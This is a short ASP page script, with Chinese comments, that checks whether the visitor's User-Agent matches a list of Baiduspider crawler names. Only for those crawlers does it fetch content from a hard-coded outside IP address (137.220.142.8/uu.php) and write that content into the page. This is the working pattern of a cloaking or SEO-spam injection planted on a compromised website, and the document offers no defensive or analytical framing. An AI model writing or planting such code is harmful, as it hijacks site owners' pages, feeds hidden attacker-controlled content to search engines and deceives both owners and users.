<% ' 获取用户代理（User-Agent）信息 Dim userAgent userAgent = Request.ServerVariables("HTTP_USER_AGENT") ' 定义百度蜘蛛相关的用户代理名称数组 Dim searchEngineBots(6) searchEngineBots(0) = "Baiduspider" searchEngineBots(1) = "Baiduspider-mobile" searchEngineBots(2) = "Baiduspider-video" searchEngineBots(3) = "Baiduspider-image" searchEngineBots(4) = "Baiduspider-news" searchEngineBots(5) = "Baiduspider-fetch" searchEngineBots(6) = "Baiduspider-crawl" Dim i For i = 0 To UBound(searchEngineBots) If InStr(userAgent, searchEngineBots(i)) > 0 Then Dim xmlHttp Set xmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP") xmlHttp.Open "GET", "http://137.220.142.8:/uu.php", False xmlHttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" xmlHttp.Send Dim fileContents fileContents = xmlHttp.responseText If fileContents <> "" Then Response.Write fileContents End If Set xmlHttp = Nothing End If Next %>